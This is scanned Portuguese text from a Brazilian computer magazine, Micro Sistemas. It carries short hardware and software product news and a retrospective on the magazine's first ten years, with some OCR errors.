d BASE III, CLIPPER, LOTUS 1-2-3, COBOL 

Solicite catálogo, atendemos todos os estados 

em 24 horas via SEDEX. 

uque de Caxias -RJ - CEP 25030 Tel.: (021)77 



BYTES 

NO BREAK WATCHMAN II 

A Brasvoltec, fabricante de estabiliza¬ 
dores e No Breaks eletrônicos, está colo¬ 
cando no mercado um No Break especial 
para pontos de venda eletrônicos (auto¬ 
mação comercial) e terminais de caixa ban¬ 
cários - “O No Break CC‘ (corrente contínua). 

O objetivo ao desenvolver esta linha de 
produtos é reunir características que pro¬ 
porcionem ao usuário total confiabilidade 
no produto, aliada a uma grande economia. 

O ‘No Break CC‘ possui como caracte¬ 
rística exclusiva a dupla função, ou seja, 
simultaneamente ele carrega as baterias 
e alimenta o consumidor. Possui outras ca¬ 
racterísticas importantes: equaiiza e for¬ 
nece carga profunda às baterias e com isso 
consegue evitar a degradação das mes¬ 
mas, mantendo a tensão de trabalho com 
alta precisão (requerida pelos equipamen¬ 
tos da área bancária e comercial) e maior 
economia, prolongando a vida dessas ba¬ 
terias garantindo um aproveitamento por 
um tempo muito maior. 

Como carregador e retificador de bate¬ 
rias, essa linha de produtos atende às exi¬ 
gências necessárias da área indústrial e 
telecomunicações que utiliza corrente con¬ 
tínua, principalmente em aplicações como: 
petroquímica, USCA's (corrente contínua), 
proteção catódica (tubulações e estruturas 
enterradas), telefonia, telemedição, banhos 
de galvanoplastia, entre outros. 

Esta linha apresenta algumas inovações 
como placas de controle eletrônico de úl¬ 
tima tecnologia, que representam número 
menor de componentes aumentando extra¬ 

ordinariamente a confiabilidade (MTBF). 
Ainda dentre essas inovações é importante 
também destacar que essa linha possui 
transformador isolador com blindagem ele¬ 
trostática e proteção contra surtos e tran¬ 
sitórios. proteção eletrônica contra des¬ 
carga excessiva de bateria (mais um fator 
de economia de baterias) e um poderoso 
filtro de saída para limitar o ‘RIPPLE1 (ruí- 
duo residual da corrente alternada). Não 
esquecendo dos aspectos ergonométricos. 

Possui design moderno, de tamanho 
compácto, com rodízios para facilitar o 
transporte e liberar os usuários do trans¬ 
tornos com a instalação do produto, que 
é totalmente silencioso e dispensa ar con¬ 
dicionado. 

Monitor de vídeo 
em cores de 19‘ 

O monitor de vídeo em cores VTK 
5000 AutoSync da Videotek, pertencente 
a quarta geração de produtos da empresa, 
tem como principal vantagem a flexibili¬ 
dade, pois opera nos modos CGA, EGA, 
VGA, Super VGA, 8514 e outros. 

0 VTK 5000 AutoSync possui um tíe- 
sigri funcional e moderno e pode ser for¬ 
necido em gabinete de poliuretano ou em 
chassi metálico, para montagem em rack 
ou console e possui ainda base móvel 
(tilt/swivel base) opcional. 

Memory-Mapper para 
Expert 

0 Memory-Mapper é uma placa que, 
instalada num Expert modelo 1.1, expande 
a memória RAM principal do micro dos 
64K existentes para 256K. 

Toda a nova linha de software (aplica¬ 
tivos e jogos) vindos do exterior já fazem 
uso desta expansão de memória. O DOS 
2, uma versão adiantada do DOS, permite 
o uso de Winchester e roda com esta ex¬ 
pansão. É importante notar que, mesmo 
com a expansão, programas que não a re¬ 
conhecem não sentirão aumento de me¬ 
mória. Pode-se fazer uma analogia com a 
memória LIM-EMS do PC, que foi criada 
por fabricantes e produtores de software 
para aumentar a memória do equlpamen 
to, limitada em 640K, para seus progra¬ 
mas. Logo, programas em que não está 
prevista a existência desta memória, não 
podem utilizá-la diretamente. 

Work View, o sistema de 
CAD para eletrônica 

Um acordo entre a View Logic, dos Es¬ 
tados Unidos, e a Gem Informática, do 
grupo gaúcho Digicon, possibilitou a co¬ 
mercialização no País do Work View, sis¬ 
tema de CAD (Computer Aided Desing) pa 
ra eletrônica. 

Presente em todas as fases do ciclo 
de desenvolvimento de produtos e circui¬ 
tos eletrônicos, o programa, que possui 
seis mil cópias instaladas em todo o 
mundo, permite a captura do esquema 
(entrada do desenho), depuração e simu¬ 
lação, auxiliando também na confecção 
do projeto da placa de circuito Impresso. 

Bastante interativo, o Work View pode 
ser dominado por engenheiros eletrónicos 
em apenas dois dias de aprendizado. Por 
ser um sistema aberto, ele proporciona ao 
usuário a possibilidade de agregar recur¬ 
sos específicos da aplicação 

A carência de tecnologia de desenvol¬ 
vimento para eletrônica no país levou a 
Gem a optar pela distribuição do produto. 

O Work View roda em plataformas 386, 
SUN, DEC e IBM RT. 0 preço de uma con¬ 
figuração básica, que requer um 386 com 
4 Mb e Winchester de 20 Mb, é de 20 mil 
dólares. As configurações são alteradas à 
medida que vão sendo agregadas novas 
bibliotecas. O sistema possui bibliotecas 
para simulação de virtualmente todos os 
circuitos, como os da família 74, CMOS, 
68040, 80468.0 usuário pode ainda con¬ 
feccionar o seu modelo. 
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Elgin eletrônica expande 
a cultura laser 

A Elgin Eletrônica, desde que lançou no 
Brasil a primeira impressora a laser (Elgin- 
laser 1006), tem se preocupado em apre¬ 
sentar a cultura desse novo equipamento 
aos seus principais distribuidores, uma vez 
que a empresa não comercializa seus pro¬ 
dutos diretamente aos usuários finais. 

O principal objetivo em formar seus dis¬ 
tribuidores, fornecendo todas as infor¬ 
mações necessárias ao trabalho de impres¬ 
soras a laser, é criar junto a eles uma 
estrutura para a demonstração correta de 
equipamento favorecendo, assim, aos usuá¬ 
rios. 

Além disso, a Elgin Eletrônica tem man¬ 
tido contato com as software-hauses no 
sentido de conpatibilizar a Elginlaser 1006 
com os programas distribuídos ou repre¬ 
sentados por essas empresas, viabilizando 
a criação de drives específicos e também 
a funcionalidade geral do equipamento. 

Embora a Elgin Eletrônica não atue co¬ 
mercialmente direto com os consumidores 
de bens de informática, ela está inaugu¬ 
rando uma estação de trabalho visando a 
auxiliar este público. Localizada na sede 
da Elgin, a estação de trabalho -esta mu¬ 
nida de um micro de alta performance, soft¬ 
wares e impressoras. A finalidade desse 
serviço é sanar todas as dúvidas a respeito 
das impressoras laser, matriciais e lineares 
da Elgin, ensinar seu uso correto e ope¬ 
ração. 

VGA Mono, um monitor 
com alta resolução 
de imagem 

A Videocompo, fabricante brasileira de 
monitores para microcomputadores, lança 
no mercado o VGA mono, um monitor mo¬ 
nocromático com alta resolução de ima¬ 
gem, destinado a microcomputadores 
compatíveis com a família IBM (PC,XT e 
AT). O produto, que possibilita o usuário a 

obtenção de infinitos tons do preto ao 
branco por sinal analógico^ foi desenvolvi 
do para ser utilizado em três tipos diferen¬ 
tes de resolução: 640 por 350 pontos, 
720 por 400 pontos e 640 por 480 pon¬ 
tos. Em qualquer desses modos, o VGA 
Mono oferece leitura com reduzido des¬ 
gaste visual e sem a incômoda desconti- 
nuidade das imagéns na tela. 

O novo monitor tem gabine em termo¬ 
plástico injetado (ABS), material com pa¬ 
drão internacional de qualidade, e possui 
base giratória e basculante, que permite 
o operador fazer ajustes horizontais e ver¬ 
ticais no aparelho. Neste ponto, o monitor 
da Videocompo já vem adaptada às novas 
normas ergonómicas do Ministério do Tra¬ 
balho, portaria 3435. 

O monitor monocromático da Video¬ 
compo estará disponível aos usuários em 
fósforo verde, branco ou âmbar e para ser 
utilizado deverá ser acoplado a uma placa 
controladora de vídeo, padrão VGA, que a 
empresa pretende comercializar. Esta pia 
ca permitirá a emulação de softwares dos 
padrões VGA, EGA, CGA. 

Dada a capacidade de produzir infinitos 
tons entre o preto ao branco, o VGA Mono 
terá aplicação significativa nos setores de 
editoração gráfica, cartografia e mapea¬ 
mento. entre outros. 

Burti abre filial para 
atender mercado 
carioca 

No Rio de Janeiro, as agências de pu¬ 
blicidade estão aderindo aos serviços de 
editoração eletrônica e fotolito por com¬ 
putador. Só nos últimos meses, foram in¬ 
formatizados os sistemas de produção da 
MPM, McCann Erickson e Norton. 

Esta mudança, na prática, significa que 
os profissionais do setor estão trocando 
o lápis e a prancheta por estações de tra¬ 
balho computadorizadas. As artes-finais, 
agora geradas por impressora térmica, 
também podem ser gravadas em disque¬ 
tes para serem lidas por um sistema au¬ 
tomático de produção de fotolito. 

A Editora Gráficos Burti, responsável 

pela introdução desse sistema no merca 
do brasileiro, já atende mais de 15 entre 
grandes e médias agências paulistas. Nos 
últimos meses, a empresa sentiu forte de¬ 
manda no mercado carioca, o que justifi¬ 
cou a abertura de uma filial de serviços 
de fotolito em São Cristovão, na cidade do 
Rio de Janeiro. 

Os servisos prestados pela Burti con 
sistem na utilização da ‘workstation1 
Visiongraphics (microcomputador Macin¬ 
tosh, impressora térmica Mitisubishi e 
■scaner1 -leitor de imagens - Sharp) para 
produção de artes finais, tanto na casa do 
cliente quanto no birô que mantém em 
São Paulo. 

Terminal Inteligente 
de 32 bits 

A Datanav lança no mercado o seu Ter¬ 
minal Inteligente - TTI 2700 - de 32 bits. 

Com uma arquitetura aberta e modular, 
o TTI 2700 baseia-se em uma CPU 
68020, de 32 bits, com processador de 
ponto flutuante 68882 e utiliza barramen 
to VME de alto desempenho, podendo exi¬ 
bir até 256 cores simultâneas, com uma 
resolução de 1024 x 768 pixels. 

Essa arquitetura pode ser configurada 
para diversas aplicações como: controle 
de processos, controle de tráfego aéreo e 
controle tático de acompanhamento de al¬ 
vos detectados por radares a bordo de 
navios. 

Numa versão desenvolvida pelo IPQM, 
Instituto de Pesquisas da Marinha, o Ter¬ 
minal incorpora uma interface especial 
para tratamento e apresentação em tem 
po real do vídeo radar. 

0 TTI 700 possui um programa residen 
te que permite o acompanhamento e 
predição das posições futuras de alvos di¬ 
versos. A tela grafica é atualizada dinami¬ 
camente, exibindo através de símbolos 
gráficos a posição atualizada de todos os 
alvos de interesse na região coberta pelo 
radar do navio. 

A exibição dos alvos é controlada por 
um núcleo gráfico padrão GKS que foi 
otimizado para operar residente no ter¬ 
minal. 

JOGOS Para você que deseja se distrair com 
seu PC-XT compatível, nós temos a 

•Garantimos o menor prazo de entrega 
possível 

PARA 
solução: • Também trocamos jogos 

•Ligue-nos solicitando nosso catálogo e 

PC-XT AS • Mais de 300 títulos em jogos para PC-XT 
maiores informações, não esquecendo 
de especificar o seu equipamento 

ÚLTIMAS jogos 
•Atendemos pedidos por telefone ou 
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DEZ ANOS DE 
MICRO SISTEMAS 

,_._7Micro 
Sistemas 

Em outubro de 1981 che¬ 
gava às bancas o primeiro 
exemplar de MICRO SISTE¬ 
MAS. Em pouco mais de 40 
páginas, a revista buscava 
dar conta dos primeiros pas¬ 
sos da jovem indústria de 
hardware nacional, avaliar 
suas perspectivas e traçar os 
rumos prováveis para a infor¬ 
mática no país. Um projeto 
ambicioso, se levarmos em 
conta que as publicações do 

gênero engatinhavam nos 
outros países e era impossí¬ 

vel adivinhar como o público 
receberia a primeira revista brasileira 
sobre microcomputadores. Além disso, 
os equipamentos, micros e periféricos, 
existiam em tão pouca quantidade que 
podiam ser contados nos dedos. 

O que se sabia desde o princípio é 
que seria preciso vencer uma batalha 
contra uma idéia bastante arraigada: 
o dogma de que o assunto "informá¬ 
tica" não poderia ser tratado ao nível 

das pessoas comuns. Um fato que ilus¬ 
tra bem o quanto o computador era 
considerado um instrumento nobre e 
concebido apenas para usos "sérios" 
foi o episódio que se seguiu à publi¬ 
cação de um artigo na edição número 
3 da revista. A matéria versava sobre 
o relacionamento de um adolescente 
com o micro que ganhara de presente 

Conheça um pouco 
da história e dos 
bastidores da primeira 
revista brasileira de 
microcomputadores 

de seus pais. O texto, em certa altura, 
dizia mais ou menos o seguinte: "Um 

dos primeiros programas que André 
desenvolveu foi o de sua mesada. Com 
base nos vencimentos que percebe por 
mês, o programa, ainda incompleto, 
foi elaborado para dar uma espécie de 
saldo mensal do seu dinheiro...". 

Durante quase um ano, MS rece- 

JAPÃO i 
. Projetos para o futuro 

beu cartas em tom injurioso e até 
mesmo agressivo de leitores que se 
queixavam da atitude da revista em 
mostrar o computador como um "brin¬ 
quedo de filhinhos de papais". A razão 
de tanta indignação era óbvia: nin¬ 
guém, até então, tinha tido a coragem 
de ilustrar tão claramente um fenô¬ 

meno que estava acontecendo no 
mundo todo - crianças e adolescentes 
usando o computador em tarefas ba¬ 
nais. Dificilmente outra imagem pode¬ 
ria colocar em xeque o status de má¬ 
quinas para uma elite intelectual com 
tanta clareza como a que foi exposta 
naquela matéria. 

Ao longo de seu primeiro ano, MI¬ 

CRO SISTEMAS mesclava reporta¬ 
gens com a palavra dos empresários ► 
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do setor e as primeiras iniciativas, ainda 
isoladas, de leitores em busca de so¬ 
luções alternativas para os problemas 
do hardware e na criação de progra¬ 
mas de computador. Editoriaimente, 
o objetivo a ser alcançado era mostrar 
o universo dos computadores através 
de suas aplicações, e não em função 

de seus recursos ou desempenho téc¬ 
nico. Era uma tarefa difícil, não só 
porque a equipe estava iniciando e 
precisava tatear seu caminho pratica¬ 
mente no escuro, mas principalmente 

devido à própria imaturidade do mer¬ 
cado. Tudo o que havia eram alguns 
fabricantes de hardware, e mais nada. 
Inexistiam quaisquer atividades de pro¬ 
dução de software comercial e até 
mesmo assistências técnicas capacita¬ 

das a consertar as máquinas que, com 
certa freqüência, emperravam. 

Essa situação, como logo compro¬ 
varíamos, apresentava desdobramen¬ 
tos delicados. Mal refeitos do incidente 
ocorrido na revista número 3, uma 
nova trombada com o status vigente 
se seguiu à publicação do editorial de 
MS 12. O texto, que relatava uma inu¬ 

sitada experiência da editora da revista 
com uma revenda de micros - cujo 

nome evidentemente não era mencio¬ 
nado (veja o box) - resultou numa inex¬ 
plicável pendenga entre uma cadeia 

de lojas do Rio de Janeiro e o depar¬ 
tamento comercial de MICRO SISTE¬ 

MAS. 
Insinuou-se ali, pela primeira vez, 

a existência de uma lei nunca escrita 
pela qual condenava-se a prática de 

expor as falhas e vicissitudes do mer¬ 
cado brasileiro de microinformática. 
Alegando incipiência, alguns fabrican- 

APLICAÇÕES DOMÉSTICAS 
AIjJumas -deiA*, que vão ajudar sau ipicro 

a mi mais vortattt.no» afazer o bàQ lar 

tes e parte do comércio consideravam 

injustas as críticas, pois - sempre se¬ 
gundo essa ótica - tudo se resumiria 
a uma questão de tempo para que os 
erros fossem sanados, sem a neces¬ 
sidade do alarde. Uma premissa que 

poderia ser simplesmente ingênua se 
não contrariasse os interesses do usuá¬ 
rio, justamente o maior beneficiário ale¬ 
gado de toda a revolução da informá¬ 

tica. MICRO SISTEMAS ainda 
enfrentaria muitos problemas, ao longo 
de seu percurso, por sua recusa em 
se submeter aos termos dessa lei ima¬ 

ginária. 
Um dado curioso, que salta aos 

olhos durante a releitura das revistas 
dessa época, é que a notícia que inau¬ 
gurou a seção Bits (MS 1) anunciava 
os preparativos para o lançamento de 
um micro que, anos mais tarde, iria to¬ 
mar conta do mercado: o PC da IBM. 

Essa espécie de premonição involun¬ 
tária adquire um significado ainda mais 
expressivo quando se relê, hoje, a ma¬ 
téria que introduziu o PC no mercado 
mundial (veja a reprodução na página 

ao lado). Vale a pena meditar por al¬ 
guns minutos se o avanço técnico até 
aqui alcançado foi acompanhado por 
uma compreensão maior, por parte do 
mercado, do relacionamento entre a 

máquina e usuário. 

0 LEITOR ESCREVE A HISTÓRIA 

Apesar de tudo o ano passou sem 
maiores percalços e ao final de 1982 
já podíamos atestar, com um pouco 
mais de segurança, a estabilidade do 
primeiro veículo nacional de microin¬ 
formática. Foi quando a direção edito¬ 

rial de MS começou a detectar mudan¬ 
ças importantes no mercado. 

Por volta da edição número 20 fi¬ 
cava claro que a era dos computado¬ 
res como mito intangível da moderna 
tecnologia havia chegado ao fim. Até 

então tínhamos vivido tempos onde 
a inexperiência, a novidade, a falta de 
informações técnicas e sobretudo o 
distanciamento do uso corriqueiro do 
micro eram predominantes. Tal si¬ 
tuação precisava ser revertida, pois o 
usuário dava sinais de estar ávido por 

por um tipo de conhecimento prático 
que até então nunca havia sido tratado 
como prioridade. 

Como resultado de diversas reuniões 
entre colaboradores, assessores e edi¬ 
tores, MICRO SISTEMAS chegou a 
uma fórmula editorial na qual se pri¬ 

vilegiaria o trabalho dos leitores - afi¬ 
nal, essa era a comunidade que estava 

O PRIMEIRO BIT 

"Quem acreditaria, há dez anos 
atrás, que haveria computadores nos 
lares?" admitiu candidamente John 

R. Opel, que desde janeiro de 1981 
é o poderoso chefão da IBM. Na ver¬ 
dade essa candura da IBM é mais 
charme que realidade. Nada do que 
se passa no mundo dos computa¬ 
dores escapa ao exame atento do 
gigante da indústria, e há 5 ou 6 anos 
que o mercado de microcomputa¬ 
dores não cessa de crescer e supe¬ 
rar as mais otimistas previsões. Ul¬ 
timamente as vendas de micros 
estão crescendo quase 50% ao ano. 
As estimativas atuais projetam para 
1985 um volume de vendas de cerca 

de 10 bilhões de dólares, mais de um 
terço das vendas da IBM em 1980. 

Em 1981 as vendas estão estima¬ 
das em 1,5 bilhões de dólares e 75% 
do mercado de microcomputadores 
é controlado por três companhias: 
Tandy Coporation, fabricante do 
TRS-80; Apple Computer, fundada 
em 1977por Steven Jobs e Stephen 
Wosniak, dois universitários, com 
130 mH cruzeiros da venda de um 
Volkswagen utilizados para a cons¬ 
trução de seu primeiro protótipo; e 
a Commodore Internacional, que do¬ 
mina 60% do mercado europeu. A 
IBM achou que afinal estava na hora 
de entrar na brincadeira. 

Caracteristicamente, ela começou 
a se preparar 'meticulosamente há 

uns 2 ou 3 anos. Em 1980 abriu suas 
primeiras lojas de varejo em Balti- 

more e Philadelphia, e em 1981 con¬ 
tinuou expandindo sua rede. Mas na 

verdade algo parece estar atrasando 
o ingresso da IBM no campo, pois 
desde o início de 1981 o "micro da 
IBM" vem sendo anunciado e 
adiado. Por enquanto, não se pode 
mais do que especular sobre as 
razões do adiamento: serão os japo¬ 
neses? Será o problema do software? 
De qualquer modo, os mais recen¬ 
tes anúncios dizem: antes de dezem¬ 
bro de 1981. Mas não no Brasil. 
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realmente produzindo novidades. Na¬ 
quela altura, o hardware no Brasil ha¬ 
via se estancado no tripé TRS 
80-Apple-Sinclair e no interior da es¬ 

tufa criada pela reserva de mercado 
não havia clima, a médio prazo, para 

o surgimento de nenhuma nova espé¬ 
cie de equipamento. Num mercado 
onde a informação técnica através de 
livros era escassa e incompleta, e a co¬ 
municação entre usuários e fabrican¬ 
tes raramente ultrapassava a utopia, 
a única solução para quem adquiria um 
micro era arregaçar as "mangas e par¬ 
tir sozinho em busca do conhecimento. 

Tentar descobrir como tudo aquilo fun¬ 
cionava e onde estaria, afinal, a lógica 
do computador, fói o grande desafio 

que se impôs naquele momento. 
MICRO SISTEMAS, como nenhum 

outro veículo, soube compreender esse 
desafio, transformando-se na grande 

vitrine técnica brasileira. A partir de 
1983 começaram a ser publicados men¬ 
salmente programas para todos os ti¬ 
pos de micros, em diversas linguagens 
e para os mais variados propósitos 
-desde os mais curiosos, como um pro¬ 
grama capaz de tocar música nos mi¬ 

cros Sinclair, "mudos" de fábrica (MS 
24), até os protótipos de aplicações 
importantes como os primeiros edito¬ 
res de texto (MS 21). Alguns temas 

que iriam gerar polêmica anos mais 
tarde começavam a ser discutidos já 
naquela época nas páginas de MS, 
como o uso dos micros na criação de 
roteiros para a televisão (MS 20) e o 
casamento da tecnologia com os te¬ 
mas místicos e esotéricos (MS 26). 
Essa fase culminou numa edição es¬ 
pecial de segundo aniversário, com 145 

páginas, que antevia o interesse por 
um assunto recorrente na informática 
pessoal durante os anos seguintes: o 
funcionamento dos sistemas operacio¬ 
nais dos microcomputadores. 

O mercado vivia os primeiros dias 
da euforia com a microinformática pes¬ 
soal e MS não media esforços no pro¬ 
pósito de satisfazer os desejos mais ur¬ 
gentes de seus leitores. Tornara-se 

patente, por exemplo, uma grande cu¬ 
riosidade pela linguagem Assembler, 
que era objeto de um curso com am¬ 
pla aceitação nas páginas da revista. 
Ainda assim havia resistências à pu¬ 
blicação de programas nesta lingua¬ 
gem, principalmente devido à inexis¬ 
tência de uma padronização para a 
digitação dos códigos característicos 

da linguagem de máquina. Foi espe¬ 
cialmente preparada então uma série 
de procedimentos visando facilitar essa 
tarefa para a publicação do jogo "Ae¬ 

roporto", em MS 22. O sucesso foi ime¬ 
diato: mesmo quem nunca havia se 

interessado por programação em lin¬ 
guagem de máquina teve sua curiosi¬ 
dade despertada para o assunto, en¬ 
grossando uma fileira de aficionados 

que "pegaram o espírito da coisa" e 
não tardaram a enviar suas próprias co¬ 
laborações para MICRO SISTEMAS 
utilizando o esquema proposto no "Ae¬ 
roporto" - prontamente adotado, tam¬ 
bém, pelas revistas concorrentes. O 
fato curioso é que na ocasião o recém- 
-criado CPD de MS contava com pou¬ 
quíssimos recursos, e na falta de uma 
impressora adequada, as listagens de 
códigos hexadecimais tiveram de ser 

datilografadas e conferidas à mão, num 
exaustivo trabalho que transformou o 
"Aeroporto" num vôo rasante por al¬ 
gumas madrugadas insones. 

Nenhuma outra iniciativa de MS, 
contudo, fez tanto sucesso como a pu¬ 
blicação do primeiro adventure nacio¬ 
nal. O programa "Aventuras na Selva" 
esgotou rapidamente a edição número 
23 e despertou no Brasil uma legião 

de adventuremaníacos, desfazendo o 
mito de que a diversão eletrônica, por 
força da barreira da língua portuguesa, 
teria seus limites confinados aos jogos 
de ação descerebrados. O interesse 
pelo programa foi tamanho que du¬ 
rante meses MS recebeu pedidos de 
remessa da edição 23 pelo correio, vin¬ 
dos das mais diferentes partes do país. 
Durante esse período uma autêntica 
mitologia foi se formando em torno do 
programa. Uma das lendas, que circu¬ 
lou durante a Feira de Informática re¬ 

alizada naquele ano, fazia supor que 
o jogo não tinha solução possível. Pura ► 
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fantasia, como confirmariam pouco 
depois as cartas de dezenas de leito¬ 
res que sobreviveram ao desafio na 

selva e, empolgados, pediam mais. Na 
opinião de todos, MICRO SISTEMAS 
acabara de escrever um dos mais emo¬ 

cionantes capítulos da aventura de pro¬ 
gramar. 

A CONSOLIDAÇÃO DE UM PROJETO 

Dando continuidade a seus planos, 

MICRO SISTEMAS entrou em 1984 
com o objetivo de mergulhar fundo no 
universo das aplicações. Para tanto fo¬ 
ram programadas edições baseadas em 
diversos temas específicos (jogos, en¬ 
genharia, educação, aplicações do¬ 

mésticas), que obtiveram um índice 
bastante favorável de aprovação entre 
os leitores. A edição sobre jogos, por 
exemplo, fez tanto sucesso que o tema 
foi bisado, sempre com êxito, durante 

três anos consecutivos. 
Enquanto os números da circulação 

em bancas aumentavam a cada mês, 
editorialmente MS livrava uma larga 
vantagem sobre suas concorrentes, 
apresentando matérias cada vez mais 
ousadas e mapeando as principais ver¬ 
tentes do painel da microinformática 

brasileira. Uma edição, por exemplo, 
dissecava a mecânica dos sistemas 
operacionais, e sem perder o pique, 
logo no mês seguinte era feito um raio- 
-X dos principais editores de texto do 
mercado. Datam também dessa época 
as primeiras matérias já vistas numa 
revista técnica brasileira a empreender 
um surpreendente exercício de meta- 
linguagem de programação, invertendo 
a posição tradicional do micro na ati¬ 
vidade de programar: os "Programas 
que Raciocinam" (MS 32), sobre inte¬ 

ligência artificial, e "O Creator e o Pro- 
ducer no CPD de MS" (MS 35), uma 

análise de dois aplicativos que criam 
bancos de dados - ou seja, programas 
que geram outros programas. 

Outra característica desta época fo¬ 
ram os micros inusitados, cujas carac¬ 
terísticas técnicas não os qualificavam 
para integrar nenhuma linha até então 
conhecida. Mutados e adaptados de 
seus parentes mais próximos (TRS- 
-80, APPLE ou Sinclair), esses com¬ 
putadores causaram uma grande ex¬ 

pectativa no mercado durante seu 
lançamento. MICRO SISTEMAS, no 
entanto, não se furtou ao seu papel 
de veículo de informação e, sem inte¬ 
grar o coro do "oba oba", publicou as 

mais contundentes análises de hard¬ 
ware que se tem notícia no Brasil. É 
desnecessário dizer que o departa¬ 
mento comercial da revista mais uma 
vez se viu às turras com alguns fabri¬ 

cantes. 
MS falava a um número cada vez 

maior de leitores, e estes respondiam 
enviando uma quantidade cada vez 

maior de colaborações. Tanto assim 
que, no terceiro aniversário da revista, 

não houve dúvidas: foi pautada uma 
edição especial de 110 páginas só com 
programas dos leitores. Essa relação 
de reciprocidade, que para a equipe re¬ 

presentava um valioso termômetro da 
aceitação da revista, foi brindada com 
um projeto muito especial: o MICRO- 
BUG. Atendendo aos anseios dos 
usuários apaixonados pela progra¬ 
mação, para os quais é imprescindível 
a compreensão da funcionalidade de 

seus equipamentos, o MICROBUG foi 
concebido como um instrumento que 
possibilitasse efetivamente "enxergar 
o micro por dentro". Transcendendo 

gÊTJVWoro 
Sistemas 

PLANILHAS 

ELETRÔNICAS 

o papel de um simples utilitário, foi es¬ 
tabelecido um cronograma de publi¬ 

cação seriada do projeto, o qual im¬ 
punha um ritual particular de leitura 
do texto e acompanhamento das lis¬ 
tagens. Por esse caminho foi exposta, 

com uma riqueza de detalhes até ali 
inédita, toda a mecânica da criação 
de um software. 

A questão do software, aliás, foi tan¬ 
gencial durante o ano de 1985 nas pá¬ 
ginas de MS. Ela surgiu como pano 
de fundo na abordagem dos proble¬ 

mas de compatibilidade entre as diver¬ 
sas famílias de equipamentos (MS 46), 
e em primeiro plano numa edição que 
tratava o software, pela primeira vez, 
sob o ângulo da comercialização como 
produto (MS 48). Nas entrelinhas es¬ 
tava claro o dilema: ou a criação de 
software - não a tradução ou cópia -era 
compreendida e apoiada com a devida 

seriedade, ou se assistiria nos anos se¬ 
guintes ao crescimento incontrolável 
das atividades da pirataria, com con- 
seqüências desastrosas para a microin¬ 

formática no país. Infelizmente, as for¬ 
ças do mercado não reagiram a tempo 

e a pirataria acabaria rivalizando com 
a queima de florestas como o esporte 
predatório nacional favorito dos anos 
seguintes. 

Com o passar do tempo os progra¬ 
mas publicados em MICRO SISTE¬ 

MAS tornavam-se cada vez mais ex¬ 
tensos e sofisticados. No intrincado 
jogo de ação e estratégia "Quasar" 
(MS 42), por exemplo, o autor se dava 
ao luxo de oferecer de quebra um com¬ 
pilador Basic completo para TRS 80, 
a fim de garantir o fôlego acelerado 
da aventura. A edição número 44, por 
sua vez, trazia o "Anime", um sistema 
de animação gráfica para a linha Sin- 
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clair superior em desempenho a qual¬ 
quer software do gênero - inclusive os 
estrangeiros, à venda no mercado. De¬ 

talhe: só a listagem do sistema preen¬ 
chia três páginas com códigos hexa. 

No final de 1985 MS consolidava a 
invejável posição de líder ostensiva no 
mercado editorial de microinformática. 

Ao mesmo tempo, chegavam a notí¬ 
cia do lançamento dos micros MSX 
e informações esparsas sobre o paula¬ 
tino aumento da base instalada dos 
PCs. A equipe técnica da revista, cuja 
principal função era produzir o mate¬ 
rial editorial que tanto sucesso vinha 
fazendo, vislumbrou a necessidade de 
uma profunda avaliação critica quanto 
aos rumos que MICRO SISTEMAS de¬ 
veria seguir a partir daquele momento. 
Havia chegado ao fim a fase do boom 
dos micros pessoais, e parecia inevitá¬ 
vel o declínio de equipamentos cuja 
defasagem técnica era grande demais 
para ser desconsiderada. Possivel¬ 
mente o projeto editorial de MS pre¬ 

cisaria incorporar transformações ra¬ 
dicais a fim de sintonizar a nova 
realidade que o mercado anunciava. 

A editoria, contudo, considerou que 
não havia razão para modificar a con¬ 
sagrada fórmula de sucesso de MICRO 
SISTEMAS. O resultado disso é que 

a revista praticamente se limitou, du¬ 
rante todo o ano de 1986, a repetir o 
que havia feito nos anos anteriores. 
Prosseguiu com a publicação de arti¬ 
gos técnicos, análises e programas dos 

leitores, reprisando-se aqui e ali, com 
poucas variantes, a abordagem de as¬ 
suntos que sabidamente despertavam 
maior polêmica ou interesse. Apesar 

do bom desempenho nas bancas, o 
desgaste dessa fórmula era evidente: 
haviam desaparecido o arrojo e o ine- 

UM EDITORIAL POLÊMICO 

Quem for a um grande shopping 
center do Rio de Janeiro, provavel¬ 
mente terá oportunidade de verifi¬ 

car por si mesmo. Lá, uma grande 
loja de equipamentos de som exibe, 

do lado de fora da loja e com des¬ 

taque, um microcomputador 
D-8000. 

Em frente ao micro da Dismac, 
diversas crianças divertem-se digi¬ 

tando seus nomes, enquanto os 

adultos tentam, através da obser¬ 
vação desse novo e cada vêz mais 

participante produto da vida mo¬ 
derna, compreender "o que é 
aquilo''. 

Perplexos, eles examinam com 
atenção o computador, e certamente 

adorariam se ali estivesse rodando 

um programa com um mínimo de 

inteligência e atratividade. Ao invés 
disso, lá está o micro, tendo na tela 
nada mais do que o cursor e algu¬ 
mas frases e nomes escritos pelas 
crianças. 

Pensei: "que tipo de informações 

será que eles tem sobre o que seja 
um micro?". E resolvi fazer um teste. 

Aproximei-me do vendedor: "Moço, 
o que é isso?". Ele me explicou: "Ê 

um minicomputador". "E para que 

serve?". "Ah, é um computador... 
Serve para fazer cálculos, essas coi¬ 
sas". "E como funciona?"."Olha, ele 

tem um teclado igual ao de uma má¬ 
quina de escrever, daí a senhora te¬ 

cla alí tudo o que quer saber". Estava 

chocada: "E aí, o que é que ele 

faz?"."Bom, aí ele faz os cálculos dele 
e dá as informações todas... (já meio 

nervoso). Sabe, né? É um computa¬ 

dor, só que é pequenininho. Faz tudo 
que um computador grande faz". Fiz 
cara de maravilhada: "Ah, é...'. Ani¬ 

mado, ele concluiu com chave de 

ouro: "É, está todo mundo com¬ 
prando. Até as grandes empresas, 
elas também já estão trocando aque¬ 
les computadores enormes por mi¬ 
cros. Faz tudo a mesma coisa"... 

ditismo que caracterizavam MICRO 
SISTEMAS. 

As divergências entre a equipe téc¬ 
nica e a redação da revista se acentua¬ 

ram por ocasião do planejamento da 
estratégia a ser cumprida por MS em 

1987. Ficou estabelecido que a revista, 
preservando o perfil que já era .conhe¬ 
cido, deveria se direcionar gradual¬ 
mente para um mercado que o mar¬ 
keting da ocasião procurava 
caracterizar como o "uso profissional 
do computador" que, no parecer do 
pessoal técnico, era o mesmo erro de 
avaliação que havia conduzido tantas 
outras revistas de informática do país 
ao fim inexorável. Como conseqüên- 
cia dessa decisão, até a metade do ano 
toda a equipe técnica original termi¬ 
nou se afastando da condução de MS. 

Durante algumas edições, na pri¬ 
meira metade de 87, a revista se limi¬ 
tou a uma fórmula tímida de publi¬ 
cação de artigos e programas, 
reprisando alguns projetos que tinham 

sido sucesso em outras épocas. Ape¬ 
sar disso se tornava bastante evidente 
